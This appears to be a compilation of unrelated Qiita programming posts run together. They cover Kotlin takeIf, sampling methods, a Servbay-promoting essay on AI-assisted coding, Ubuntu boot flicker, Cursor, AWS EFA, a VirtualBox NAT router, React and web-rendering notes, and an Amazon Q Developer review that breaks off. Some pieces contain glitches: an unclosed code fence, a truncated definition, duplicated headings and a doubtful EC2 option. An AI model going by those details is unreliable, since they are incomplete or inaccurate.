OmniAICreator/Qiita-1.07M huggingface dataset:
【Kotlin】takeIfを使ってみる

## `takeIf` とは？

`takeIf` は、条件を満たす場合に自分自身を返し、満たさない場合は `null` を返すKotlinの標準拡張関数です。

https://kotlinlang.org/api/core/kotlin-stdlib/kotlin/take-if.html#


### 使用方法

```kotlin
val result = value.takeIf { 条件 }
```

- 条件が `true` の場合 → `value` を返す
- 条件が `false` の場合 → `null` を返す

## 基本例

```kotlin
val input = "kotlin"
val result = input.takeIf { it.length > 5 }
// result = "kotlin"
```

```kotlin
val input = "abc"
val result = input.takeIf { it.length > 5 }
// result = null
```


## null許容型と組み合わせる

```kotlin
val email: String? = getInput()
val validEmail = email?.takeIf { it.contains("@") }
```


他にも便利な使い方があるので試してみてください。
以上です。
Data Sampling

# 抽样方法概览

在构建机器学习训练数据时，常用的随机抽样方法包括以下几种：

---

## 1. 简单随机抽样（Simple Random Sampling）

> **定义**：让总体中的所有样本具有**相等**的被选中概率。

- **示例**：从总体随机抽取 10% 的样本，则每个样本都有 10% 的概率被选中。
- **优点**：实现简单。
- **缺点**：  
  - 稀有类别容易遗漏。  
    - 例如：某类别只占总体的 0.01%，如果随机采样 1%，几乎不会采到该类别——训练时模型会“以为”它不存在。

---

## 2. 分层抽样（Stratified Sampling）

> **定义**：先将总体按感兴趣的类别划分为若干“层”（strata），再**分别**从每层抽样。

- **示例**：总体分为 A、B 两类，想抽取 1% 的数据，则从 A 抽取 1%，从 B 抽取 1%。  
  如此即使某类别非常稀有，也能保证其样本被包含。
- **优点**：可保证每个类别都有代表性。
- **缺点**：  
  - 并非所有任务都能分层。  
  - 多标签任务中，一个样本可能同时属于多个层，分组困难。

---

## 3. 加权抽样（Weighted Sampling）

> **定义**：为每个样本分配一个权重，抽样时按权重决定被选中概率。

- **示例**：样本 A、B、C 权重分别为 0.5、0.3、0.2 → 被选中概率为 50%、30%、20%。
- **用途**：  
  - 引入领域知识（如“近期数据更重要”）  
  - 校正数据分布偏差（如红样本占 25%、蓝样本占 75%，但真实世界各占 50% → 将红样本权重设为蓝样本的 3 倍）
- **Python 示例**：
  ```python
  import random

  # 从 [1,2,3,4,100,1000] 中抽 2 个元素，
  # 其中 1~4 各 20% 概率，100 和 1000 各 10% 概率
  random.choices(
      population=[1, 2, 3, 4, 100, 1000],
      weights=[0.2, 0.2, 0.2, 0.2, 0.1, 0.1],
      k=2
  )
## 重要性抽样（Importance Sampling）

> **定义**：当无法直接从目标分布 \(P(x)\) 抽样时，可从一个易采样的分布 \(Q(x)\)（提议分布）抽样，并对样本赋予权重  

- **应用示例**：  
  - **策略型强化学习**：新策略与旧策略相近时，可用旧策略采样并按权重校正，估计新策略的期望回报。

---

## 水库抽样（Reservoir Sampling）

> **定义**：对一个未知总量且不断到达的“流”中，实时维护一个大小为 \(k\) 的“水库”，确保随时终止时，水库内的每个样本都具有**等概率**被选中。

### 算法步骤

1. **初始化**：将流中前 \(k\) 个元素直接放入水库（数组 `reservoir[0..k-1]`）。  
2. 对于第 \(n\)（从 \(k+1\) 开始）个到达的元素：  
   1. 随机生成整数 \(i\in [1, n]\)。  
   2. 如果 \(i \le k\)，则用新元素替换 `reservoir[i-1]`；否则，忽略它。  

> **性质**：每个第 \(n\) 个元素有 \(\tfrac{k}{n}\) 的概率留在水库中。无论何时停止算法，水库内所有元素都等概率采样。
AIが90%のコードを書いても、あなたの足を引っ張るのは最後の10%だ

![截屏2025-06-06 6.21.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4107514/da6bee47-ddc8-438d-b810-2732f3398f39.png)

最近、開発者コミュニティで最もホットな話題は、間違いなくAIプログラミングアシスタントです。Gemini Proであれ、Copilotであれ、私たちは新しい時代の到来を認めざるを得ません。AIは古いコードのリファクタリングを手伝い、複雑なアルゴリズムを解説し、さらには機能モジュール全体を生成することさえ可能です。これらは以前では想像もつかないことでした。

感覚的には、AIはプログラミング作業の90%をこなしてくれるかのようです。

しかし不思議なことに、私の労働時間は90%も短縮されていません。私は、本当のボトルネックが**「いかにコードを書くか」から、もっと目立たない別の場所へと静かに移行していることに気づきました。私はそれを「コード検証のラストワンマイル」**と呼んでいます。

あなたが日常的に遭遇するであろう、こんなシーンを想像してみてください：

Geminiが新しいライブラリを使った非常にエレガントなPythonスクリプトを提示する。あなたは作業を中断し、pip installを実行し、仮想環境を作成または有効化し、グローバル環境と競合しないことを祈る。——フロー状態が中断される。
AIがPHP 8.3の素晴らしい新機能を推奨する。しかし、あなたの手元のプロジェクトはPHP 8.1で動いている。今度はバージョンマネージャーと格闘し、バージョンを切り替え、サービスをリロードしなければならない。——再び中断。
AIがWeb、データベース、Redisを含むフルスタックのデモを生成してくれる。あなたは感嘆し、そして静かにターミナルを開き、docker-compose.ymlを書き始めるか、各サービスを手動でインストールし設定する。——創造への情熱が削がれる。
フロントエンドの問題で、AIがHTTPS環境でなければ再現できないと言う。そして、自己署名SSL証明書との長い戦いが始まる。
このパターンが見えますか？AIは超音速のアイデア生成機のように、絶えず「思考」を「コード」に変えていきますが、私たちのローカル環境は渋滞した田舎道のように、そのコードが素早く実行され「検証可能な結果」になるのを妨げているのです。

AI時代において、開発者の中核的な競争力は、「コーディング能力」から「迅速なイテレーションと検証の能力」へとシフトしています。

このことに気づいてから、私は自分のワークフローを徹底的に最適化し始めました。目標はただ一つ：「コードを手に入れて」から「結果を見る」までのあらゆる摩擦をなくすことです。

私のmacOSスタックにおいて、Servbayは、このプロセスの中でほとんど「目に見えない」しかし決定的に重要な役割を担うようになりました。すべてがあまりにも当たり前になったため、私はもはやその存在を意識することさえありません。

![截屏2025-06-06 23.22.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4107514/ea2f7cb9-7efe-4a11-93ee-cc5d4e2c64ac.png)

私がGeminiに質問し、Node.jsのスニペットが返ってきたとき、「どうやって実行しようか」とは考えません。なぜなら、ServbayにはクリーンなNode.js環境が常に待機していることを知っているからです。コードがMariaDBとPostgreSQLを必要とするなら、私がすることはServbayのパネルでそのスイッチを入れるだけです。この全プロセスは呼吸をするように自然です。


プロジェクトごとに異なるPHPバージョンで苦労することも、ローカルのHTTPSデバッグで悩むこともなくなりました。ServbayがSSLを自動的に処理してくれるからです。


さらに興味深いことに、ローカルAIモデルを試しているうちに、ServbayにはOllamaが統合されていることを発見しました。これにより、私のAIワークフローは完璧なループを形成しました。広範な知識と創造的なアイデアを得るためにはクラウドベースのGemini Proを使い、社内のプライベートなコードを分析するためにはローカルモデルを使う。そしてServbayがそのすべてに対して安定した統一的な基盤を提供してくれるのです。

最近、クライアントに急遽デモを見せる必要がありました。Servbay 1.13.0のアップデートで統合されたfrpとngrokのおかげで、ワンクリックで公開URLを生成でき、ステージングサーバーにデプロイする手間が省けました。

私はツールを推薦しているのではありません。一つの考え方を共有しているのです。あなたのローカル開発環境を、受動的な「コード実行機」から、能動的な「アイデア検証機」へとアップグレードするという考え方です。

AIが「生産」を担当し、私たちには極めてスムーズな「実験場」が必要です。

ですから、次にAIの力に驚嘆したときは、少し時間を取って自身のワークフローを見直してみてください。あなたの足を引っ張っている「最後の10%」は何ですか？それを解決すれば、期待をはるかに超える効率向上が得られるでしょう。

ちなみに、もしあなたが学生なら、GoogleのGemini Pro無料プランに申し込むのをお忘れなく。最高のツールを手に入れる絶好の機会ですから。

![截屏2025-06-07 15.25.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4107514/dc9f6ed9-9979-41e9-9436-1bbbbe278878.png)
Ubuntu 25.04で起動時のスプラッシュスクリーンがチラついていた

# Ubuntu 25.04で起動時のスプラッシュスクリーンがチラついていた

中古でNEC VersaPro VKT10C-6 を購入したので、Ubuntu 25.04を入れたのでそのメモです。

起動時のスプラッシュスクリーン(Plymouth)がチラツくのが気になりました。

この記事は、Ubuntu 25.04 + Intel GPUの環境で起動時の視覚的な違和感を減らすために行った工夫をまとめたものです。

---

## 環境

- OS: Ubuntu (Plucky Puffin)
- カーネル: 6.14.0-15-generic
- GPU: Intel UHD Graphics 617 (ドライバ: `i915`)
- PC: NEC VersaPro VKT10C-6

---

## 問題

- Ubuntu起動時、Plymouthアニメーション時に画面がチラツく
- Wayland/Xorg の切り替えやPlymouthテーマの変更でも解決しなかった


ChatGPTに相談しながら進めたのですが、最終的には以下のように考えています。

- 起動時の画面チラつきは、GPUドライバのロード・初期化タイミングが大きな要因
  - 早期ドライバロードが有効な対策
- それでも気になるなら、Plymouth開始を遅らせる
- Wayland/Xorg はあまり影響しない
  - ユーザー空間の表示環境なので、GPUの初期状態が安定しないと画面が乱れるのは変わらない 

似た環境で不満を持っている方の参考になれば幸いです。

---

## 1. i915 / fbcon の early load

`/etc/initramfs-tools/modules` に以下を追記

```/etc/initramfs-tools/modules
i915
fbcon
```

initramfs を更新

```bash
sudo update-initramfs -u
```

---

### 2. GRUB パラメータの設定

Intelの画面内の省電機能 PSR (Panel Self Refresh) がチラツきの原因になることがあるので無効化します:
`/etc/default/grub` の `GRUB_CMDLINE_LINUX_DEFAULT` に `i915.enable_psr=0` を追加

```/etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash i915.enable_psr=0"
```

grubを更新

```bash
sudo update-grub
```

---

### 3. plymouth-start.service の開始を5秒遅らせる

上記でかなり改善するのですが、それでもアニメーションの途中ですこしチラつくので、Plymouth開始時にすこし遅延をいれました

```bash
sudo systemctl edit plymouth-start.service
```

以下を追記します。

```ini
[Service]
ExecStartPre=/bin/sleep 5
```

反映して再起動します。

```bash
sudo systemctl daemon-reload
sudo reboot
```
話題のCursorを本気で使ってみたら見えてきたリアルな活用法:全自動は無理。でも効率は爆上がり

# AI時代のアプリ開発におけるCursor活用の現実とコツ

最近話題の **Cursor（AI搭載VSCode派生エディタ）** を試したところ、開発効率は間違いなく向上するものの、「すべてが自動で完結するほど甘くはない」と実感した。  
本記事では、実際に **Cursorでアプリを作ってみた経験**と、そこから見えた **効果的な活用方法**をまとめる。

---

## 経験談：実際にCursorでアプリを作ってみた

今回は **MermaidのようなDSLとASTによる図形生成ツール**（中級程度の難易度）をCursorに作らせてみた。  

### 試したパターン①：一気に作らせる
- 最初は **全体の構造と要件を一気にCursorに渡し**、コードを一括生成。
- 何百行ものコードが一瞬で出てきたが、エラーが発生し、**1時間考えさせても最終的に動作までたどり着かなかった**。

### 試したパターン②：小さく分けて進める
- 次は作業を **小さく分割し、都度指示しながら進行**。
- こちらは非常に効果的で、**通常1日かかる内容が約2時間で完成**できた。

---

## 学び①：ある程度のコーディングスキルは必須

AIがコード生成をサポートしてくれるものの、以下の能力は依然として必要だった：

- **エラーやバグの原因を自力で追えるスキル**
- **設計の意図や整合性を維持する能力**
- **型やAST構造の整合性が崩れたときの復旧スキル**

Cursorはあくまで **パートナーであって代行者ではない**と感じた。

---

## 学び②：Gitは必須の防波堤

CursorやLLMは「見えていないところまでコードを変更してしまう」ことがある。  
このため、**Gitをうまく活用して安全に進めることが極めて重要**と実感した。

### Git運用のポイント

- こまめに **コミットを分ける**（1作業＝1コミット）
- LLM適用時は **必ずdiffを確認**する
- LLMが出したコードは **いきなりmainブランチに入れず、別ブランチで検証**する
- 問題が出たときは **git reset / revert で簡単に戻せる状態**を維持する

### よくある罠

| 失敗例 | 原因 |
|--------|------|
| 一気にLLMが全ファイルを変更 → 何が壊れたかわからなくなる | Git commitが粗い／diff確認せず |
| LLMの出力を直接mainに反映 | 検証プロセスなし |
| LLMに「関数Aだけ修正して」と頼んだのに他の関数も勝手に変更 | 全体diff確認せずマージ |

---

## 結論：AI時代の開発スタイルはこうなる

### ✅ 効果的な使い方

- **小さな単位でCursorを活用** → 一括生成は破綻しやすい
- **Gitを駆使して巻き戻せる体制を作る** → 安心してLLMを活用できる
- **コードを読む・理解するスキルは依然として重要**

### ❌ 避けるべき使い方

- 「Cursorに任せれば全自動でアプリ完成」という幻想
- Gitを使わずに **直接ファイルに上書き反映** → 破壊的変更の温床

---

## まとめ

Cursorは間違いなく **開発効率を飛躍的に上げる武器**になる。  
ただし **コーディングスキル＋Git活用が前提**。  
LLM時代のアプリ開発は「人間＋AIの協調」が基本スタイルになると実感した。  

**AIに任せすぎず、人間が設計と整合性管理を担うことで最高の効果が得られる。**  

---

みなさんのAI活用にもぜひ参考になれば嬉しいです。
Unityの実行中の止まった時

# 急にゲームが停止した時
下の画像のように「エラーで一時停止」ボタンの機能があるのを初めて知りました。

![エラーで一時停止.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3957418/8812b485-988c-4da7-9d4f-3e29fdf72565.png)

# 一時停止が起動する条件
- エラーが発生した時
- 以下の「Debug.LogError()」関数が実行されると `エラー` として判定されます。

```
 Debug.LogError("カウントダウンを開始");
```
Elastic Fabric Adapter

AWS EFA（**Elastic Fabric Adapter**）は、**高性能コンピューティング（HPC）や機械学習などの低レイテンシ・高スループット通信を必要とするワークロード向けのネットワークインターフェース**です。

---

## 🧠 ざっくり一言でいうと？

> \*\*「EC2インスタンス間で、超高速・低遅延なネットワーク通信を可能にする機能」\*\*です。

---

## ✅ 主な特徴

| 項目      | 内容                                       |
| ------- | ---------------------------------------- |
| 超低レイテンシ | インスタンス間通信の遅延を大幅に低減（RDMAにより）              |
| 高スループット | 数十Gbpsクラスのネットワーク性能                       |
| OSバイパス  | 通常のTCP/IPスタックを通らず、NICを直接操作（RDMA）         |
| 対応プロトコル | \*\*MPI（Message Passing Interface）\*\*など |
| EC2専用   | 通常の ENI とは別のネットワークインターフェース               |

---

## 💡 どんなときに使う？

EFA は主に以下のような**高性能・並列処理**を行うシステムに適しています：

* CFD（数値流体力学）
* FEM（有限要素法シミュレーション）
* 天体物理学や量子力学などの科学シミュレーション
* 大規模機械学習（分散学習）
* MPIベースのアプリケーション

---

## 🚀 対応インスタンスタイプ（一例）

| インスタンスファミリー                          | 特徴               |
| ------------------------------------ | ---------------- |
| `c5n`, `c6gn`, `p4`, `p5`, `g4ad` など | 高速ネットワークをサポート    |
| `hpc6id`, `hpc6a` など                 | HPC 専用設計で EFA 対応 |

---

## 🛠 使用に必要な設定（概要）

1. **EFA対応インスタンスを選ぶ**
2. **AMIがEFAに対応していることを確認**（EFA対応のAmazon Linux 2やUbuntuなど）
3. **セキュリティグループ／SGでEFA通信ポートを許可**
4. **MPIライブラリ（例：Open MPI）をEFA対応版に入れ替える**
5. **EFAドライバと`efa-installer`をインストール**
6. 起動時に `--efa` オプションを付けてEC2を作成する

---

## 📦 ソフトウェア構成イメージ（MPIアプリ）

```
[Node1] EFA-enabled EC2 ─── RDMA ─── [Node2] EFA-enabled EC2
       ↑ MPI (OpenMPI, IntelMPI)
```

---

## 🆚 通常のENIとの違い

| 項目     | 通常のENI    | EFA          |
| ------ | --------- | ------------ |
| レイテンシ  | 数百μs〜ms   | 数十μs以下       |
| スループット | 最大25 Gbps | 最大100 Gbps超  |
| 通信方式   | TCP/UDP   | RDMA（OSバイパス） |
| 用途     | 汎用通信      | HPC・MPI専用    |

---

## ✍ まとめ

| 特性  | 内容                        |
| --- | ------------------------- |
| 対象  | HPC・科学技術計算・大規模機械学習など      |
| 特徴  | RDMAにより低レイテンシかつ高スループット    |
| 要件  | EFA対応のインスタンスとAMIが必要       |
| 注意点 | 通常のTCP/IPアプリでは効果が出ない場合もある |
【競技プログラミング】AtCoder Beginner Contest 381問題_解法イメージ

# 既存投稿一覧ページへのリンク
[一覧ページ](https://qiita.com/o_chan_t/items/fc759695acfaef8df2cc)

# 雑記
最近、コーディングが出来なくなって来たので、AtCoderの感が鈍らないよう、Youtubeの解説動画見ながら解き方を確認。
夏が近づくと、めっちゃ忙しくなる・・・というより、今年ももう6月であることに驚きと絶望を感じてます。

<iframe width="560" height="315" src="https://www.youtube.com/embed/pnL194JdbKM?si=TBP7X1X5_KJi3Qm_&amp;start=2415" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

# C問題解法アプローチ
https://atcoder.jp/contests/abc381/tasks/abc381_c

## 例1
//1/2221121/1222/2/122/1/211111/222
という文字列(長さ35)が与えられた場合
![15708.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/530912/943d241b-1e91-403d-a413-24464fbc8835.png)

### /を区切りとして、連続する文字数をカウントする
![15710.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/530912/cb8d5f3b-a62c-411a-ab1f-c7ace8b39e33.png)

### /を区切りとして、連続する文字数をカウントする
![15710.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/530912/cb8d5f3b-a62c-411a-ab1f-c7ace8b39e33.png)


### 条件を満たすように/の次に2が続く解答候補を見つける
![15711.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/530912/5d8ab8d5-9b33-4d44-92e3-38186c22bcc2.png)


### 条件を満たすように/の次に2が続く解答候補を見つける
![15711.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/530912/5d8ab8d5-9b33-4d44-92e3-38186c22bcc2.png)

### 候補の中から問題文の条件を満たす文字列を探し、最大長のものを解答とする。
![15712.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/530912/ee84b00a-f496-46a1-8489-eee166846ce4.png)

この方針でコーディングすれば解ける感じか。（TLEするかどうかは別として）

# D問題解法アプローチ

https://atcoder.jp/contests/abc381/tasks/abc381_d

求めるのは、下図のように1122数列の最大長
![2N8GneIT2yihyd35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/530912/4535e020-e36f-446b-b48f-9bb7fbfc13fb.png)

アプローチは、2つ飛びの尺取法
<iframe width="560" height="315" src="https://www.youtube.com/embed/pnL194JdbKM?si=WCzgiNGP5XptSa_7&amp;start=4116" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
【備忘録】VirtualBoxを使ってLinuxマシンをルーター化してみた

## 概要

VirtualBoxを使って、Linuxマシンをルーター化し、**内部ネットワークからインターネットへ接続**する構成を構築してみました。
備忘録としてハンズオンの内容を残します。


## ゴール構成
```
[ クライアントVM ]
IP: 192.168.10.10
GW: 192.168.10.1
|
[ ルーターVM ]
enp0s9: 192.168.10.1 (Internal)
enp0s8: DHCPで取得 (NAT)
|
[ Internet ]
```


## 1. VirtualBox ネットワーク設定

### VM構成

| VM名 | アダプタ設定 |
|------|--------------|
| クライアントVM（VM1） | アダプタ3：内部ネットワーク |
| ルーターVM（VM2）     | アダプタ1：NAT<br>アダプタ3：内部ネットワーク |

※ アダプタ番号とモードの組み合わせは任意です。


## 2. インターフェース確認

| VM名 | インターフェース名 | 用途 | 接続方式 |
|------|--------------------|------|-----------|
| VM1  | `enp0s8`           | 内部ネットワーク（LAN側） | アダプタ3 |
| VM2  | `enp0s8`           | NAT（WAN側）              | アダプタ1 |
| VM2  | `enp0s9`           | 内部ネットワーク（LAN側） | アダプタ3 |

※ 実際のインターフェース名は環境によって異なる場合があります。`ip a` などで確認してください。


## 3. ルーターVM（VM2）のLAN側インターフェースに固定IPを設定

```bash
sudo nmcli connection show
sudo nmcli connection modify enp0s9 ipv4.addresses 192.168.10.1/24
sudo nmcli connection modify enp0s9 ipv4.method manual
sudo nmcli connection up enp0s9
```

確認
```bash
ip a | grep enp0s9 -A 3
# → inet 192.168.10.1/24 が表示されればOK
```

## 4. クライアントVM（VM1）のIPアドレス設定
```bash
sudo nmcli connection modify enp0s8 ipv4.addresses 192.168.10.10/24
sudo nmcli connection modify enp0s8 ipv4.gateway 192.168.10.1
sudo nmcli connection modify enp0s8 ipv4.method manual
sudo nmcli connection up enp0s8
```
確認
```bash
ip a | grep enp0s8 -A 3
ip route
# ip a に 192.168.10.10 があること
# ip route に default via 192.168.10.1 があること
```

## 5. VM1からVM2への疎通確認
```bash
ping 192.168.10.1
```

## 6. VM2にNATルーター機能を設定
### ① IPフォワーディングの有効化
```bash
echo 'net.ipv4.ip_forward = 1' | sudo tee -a /etc/sysctl.conf
sudo sysctl -p
```

### ② iptables で NAT マスカレード設定
※ NAT側（enp0s8）を指定します。

```bash
sudo iptables -t nat -A POSTROUTING -o enp0s8 -j MASQUERADE
```

### ③ iptables 設定確認
```bash
sudo iptables -t nat -L -n -v
```
### ④ クライアントVMからインターネットへの疎通確認
```bash
ping 8.8.8.8
```

```bash
# 永続化（必要に応じて）
sudo apt install iptables-persistent
sudo netfilter-persistent save
```

## おわりに
VirtualBox上にLinuxルーターを構築し、クライアントVMから外部ネットワークへのアクセスしてみました。
【gantt-task-react】空配列エラー：Cannot read properties of undefined (reading 'start')

# はじめに
` gantt-task-react `を使ってReactでガントチャートを作成しています。
仮のデータでうまく動いていたものの、登録フォームから取得したデータに切り替えたところ、画面リロード時に以下のようなエラーが出るようになりました。
```
Cannot read properties of undefined (reading 'start')
```
このエラーは、`gantt-task-react` に渡しているタスクデータの中で `start` プロパティが `undefined` になっていることが原因です。

# 解決策
調べてみると `gantt-task-react` は**タスクオブジェクトに必須プロパティ** （id, name, type, start, end, progress）が**1つでも欠けていたり、配列が空や undefined だったりすると、描画時にエラーを投げる** ようです。

https://github.com/MaTeMaTuK/gantt-task-react?tab=readme-ov-file#task

## 修正コード

描画前に、**タスクデータが正しく揃っているか、かつ 空配列でないことをチェック** するようにしました。
以下のように条件分岐を加えることで、エラーを防ぐことができます。
```react
return (
    {ganttTasks.length > 0 ? (
        <Gantt tasks={ganttTasks} />
    ) : (
        <p>タスクを追加してください。</p>
    )}
)
```

# おわりに
仮の配列から、実際の登録データを使うようにしたことで、エラーに遭遇しましたが、条件分岐を入れることで安全に描画できるようになりました。
今後もいろんなパターンを想定しながら、エラーのないアプリを目指して開発を進めていきます！

# JISOUのメンバー募集中！
プログラミングコーチングJISOUでは、新たなメンバーを募集しています。
日本一のアウトプットコミュニティでキャリアアップしませんか？
興味のある方は、ぜひホームページをのぞいてみてくださ！
▼▼▼

https://projisou.jp
「MPA」「CSR」「SSR」の違いと歴史的変遷


---

# はじめに
Web開発の中でよく出てくる「MPA」「CSR」「SSR」。 
「SSRって結局、一周回って戻ってきたってこと・・？」と疑問に思ったので、
今回、**歴史的な背景**も含めて整理してみました。

## MPA（Multi Page Application）

### 概要：
- すべてのページがURLで分かれており、ページ遷移で毎回**フルリロード**
- HTMLはすべて**サーバーでレンダリング**

### 例：
- PHP（WordPress, Laravel）、Rails、JSPなど

### 問題点：
| 項目 | 内容 |
|------|------|
| 表示が遅い | ページ全体を再読み込みするためUXが悪い |
| 状態が保持できない | スクロール位置やフォームの入力内容が失われる |
| フロントエンドが非効率 | jQueryなどでDOMを直接操作、再利用しづらい |

---

## CSR（Client-Side Rendering）＝ReactなどのSPA

### 概要：
- 最初に最小限のHTMLだけをサーバーから取得
- その後はすべての表示を**JavaScript（クライアント）で描画**

### 特徴：
| 項目 | 内容 |
|------|------|
| SPA（Single Page Application） | URLは変わるが画面遷移はJSで処理し、ページの再読み込みはしない |
| コンポーネント再利用 | UI部品を分割・再利用しやすい（Reactの強み） |
| 状態管理が可能 | `useState` や Reduxなどで状態を扱える |

### 問題点：
| 項目 | 内容 |
|------|------|
| 初回表示が遅い | JSがダウンロード・実行されるまで真っ白になる |
| SEOに弱い | 初期HTMLにコンテンツがないので、クローラーに評価されにくい（特に昔は） |

---

## SSR（Server-Side Rendering）＝Next.jsなど

### 概要：
- 初回だけは**サーバー側でレンダリングしてHTMLを返す**
- その後はCSRと同じようにクライアント側でレンダリング

### 特徴：
| 項目 | 内容 |
|------|------|
| 初回表示が速い | HTMLが最初から出来ているためユーザーにすぐ見せられる |
| SEOに強い | クローラーにもコンテンツが読まれる |
| クライアントでも状態管理可能 | Reactと同じようにSPAとして動作する |

---

## なぜCSR（React）が生まれたのか？

昔のMPAには以下の問題がありました：

- ユーザーが操作するたびに**画面が白くなる**
- 入力フォームの途中でページを移動すると**全部消える**
- UIが複雑になってきたが、**部品化・再利用が難しい**

こうした課題を解決するために「フロントエンドをアプリのように作りたい」というニーズが高まり、  
**すべてをクライアントで描画するSPA（React）が誕生しました。**

---

## まとめ：MPA → CSR → SSR の進化はなぜ起きた？

| 世代 | 概要 | メリット | デメリット |
|------|------|----------|------------|
| MPA | すべてサーバーでレンダリング | SEOに強い、シンプル | 遷移が遅い、UXが悪い |
| CSR | すべてクライアントでレンダリング（Reactなど） | UXが良い、部品化しやすい | 初回が遅い、SEOに弱い |
| SSR | 初回だけサーバーで描画（Next.jsなど） | 表示速度とSEOのバランス◎ | 実装がやや複雑になる |

---

## 📚 補足：その他のレンダリング方式

| 種類 | 説明 |
|------|------|
| SSG（Static Site Generation） | ビルド時に静的HTMLを生成（例：Next.jsの`getStaticProps`） |
| ISR（Incremental Static Regeneration） | SSG + 一部のページだけ動的に再生成（Next.js特有） |

---

## ✍️ さいごに

ReactやNext.jsのようなモダンフロントエンド技術を学ぶ上で、  
MPA → CSR → SSRの流れを理解することはとても重要です。
N が M ずつ増えたときにいつ K を越える？



Paizaで「整数 N, M, K が与えられたとき、N が M ずつ増えて K を越えるのは何回目？」という問題にチャレンジ！一見シンプルだけど、細かい条件でミスった💦

<br>

## 問題概要

- 整数 N, M, K が与えられる。
- N が M ずつ増えるとき、何回目に K を越えるか出力する。

<br>

入力例：

    1 1 10

出力例：

    10

<br>

https://paiza.jp/works/mondai/loop_problems2/loop_problems2__inc_m

<br><br><br>

## ❌ NG例
```js
const rl = require('readline').createInterface({input:process.stdin});

rl.once('line', (input) => {
    const [N, M, K] = input.split(' ').map(Number);

    let count = 0;
    for(let temp = N; temp < K; temp += M, count++);
    
    console.log(count);
    
    rl.close();
});
```
→ `temp < K` だと、 `temp = K` のとき、つまり K を越える前でループが止まってしまう場合がある…。

<br><br>

## ✅ OK例
```js
const rl = require('readline').createInterface({input:process.stdin});


rl.once('line', (input) => {
    const [N, M, K] = input.split(' ').map(Number);

    let count = 0;
    for(let temp = N; temp <= K; temp += M, count++);
    
    console.log(count);
    
    
    rl.close();
});
```
- `temp = K` のときもループ続行。　
- 越えるまでループが続き、カウントされる。

<br><br>

## 📝気づきメモ

- カウントするときは境界条件の違いに要注意！
- `for`文の中に `count++` も書くとすっきり書ける！

<br>

## まとめ
小さな条件でも大きな違い。今回の「`<=`」の差で痛感した！
そういえば最近、まったく同じような問題を条件分岐メニューの範囲でやった気がする…

<br><br><br><br>[僕の失敗談(´;ω;｀)と解決法🐈](https://paizabeginner.wordpress.com/2025/06/07/paiza%e3%81%a7%e5%9f%ba%e6%9c%ac%e3%83%9e%e3%82%b9%e3%82%bf%e3%83%bc%ef%bc%9an-%e3%81%8c-m-%e3%81%9a%e3%81%a4%e5%a2%97%e3%81%88%e3%81%9f%e3%81%a8%e3%81%8d%e3%81%ab%e3%81%84%e3%81%a4-k-%e3%82%92/)
Amazon Q Developerの日本語対応と自動コード作成が良すぎた！

# はじめに
2025/4/9にIDE環境にて日本語対応が可能になったAmazon Q Developerですが、2025/5/2にインタラクティブなエージェントコード作成という新機能が追加され、想像以上に快適で
凄かったので、記事にします。
>AWSブログ


https://aws.amazon.com/jp/blogs/news/amazon-q-developer-global-capabilities/

https://aws.amazon.com/jp/blogs/news/amazon-q-developer-elevates-the-ide-experience-with-new-agentic-coding-experience/

# 検証_GenUに機能追加してみる。
今回は検証として、GenUのコード編集を行いたいと思います。

https://github.com/aws-samples/generative-ai-use-cases/tree/main

○課題
GenUの画面の右上にあるカスタムテンプレートを選択できる機能がチャット画面にしかなく、RAGチャットでカスタムテンプレートを利用するためには、コピーしに行く必要が発生しており、UXの改善をしたいと思います。
![Chat_Image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/48907071-7e38-4c0f-b04c-a07c3863acca.png)
以下のようにRAG画面にも上記カスタムテンプレートを選択できる機能を追加したいと思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/5078b9fb-14a1-4e55-9252-d1b2f699b212.png)

GenUの構成は以下の通りです。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/ed6fc3c5-1db5-450d-b876-c38d07000730.png)
私にはどの部分を修正すると表示できるか全く検討つきません。
そこでAmazon Q Developerさんの登場です！

## Amazon Q Developerの利用
VScodeの拡張機能でAmazon Q Developerを今回は利用いたします。
※インストール方法は以下の記事を参考にさせていただきました！

https://qiita.com/hosomatu/items/1560062d49d0e9cb3a0e

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/9c0b82a8-066d-4b28-adc8-d5cd5a880967.png)

:::note warn
注意
デフォルトでは、Amazon Q Developerへの質問内容は学習に利用されるため、
必要に応じて設定をしてください。
:::

チャット画面はシンプルで、上部に新機能の"An interactive, agentic coding experience"の説明があり、Amazon Q Developerがコードの変更を直接行う、ファイルを編集する、コマンドを実行するなどのアクションが可能になったと記載されています。
左下のボタンでオンとオフを切り替えることができます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/89ba434c-5096-4afc-a3ed-2046acf71cea.png)

早速、コードを作成してもらいましょう。
packages\web\src\pages\ChatPage.tsx（チャット画面のスクリプト）とpackages\web\src\pages\RagKnowledgeBasePage.tsx（RAG画面のスクリプト）を比較し、カスタムテンプレート機能を追加したいと依頼し、10秒ほどで作成された回答を見てみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2925764/eaed3a0f-6bc4-49a6-b169-9c59bc10b0b9.png)
RagKnowledgeBasePage.tsx +8 -0...といった記載があり、クリックすると変更された箇所が確認でき、スクリプトがもう変更されております。Undoを選択して元に戻すことも可能です。
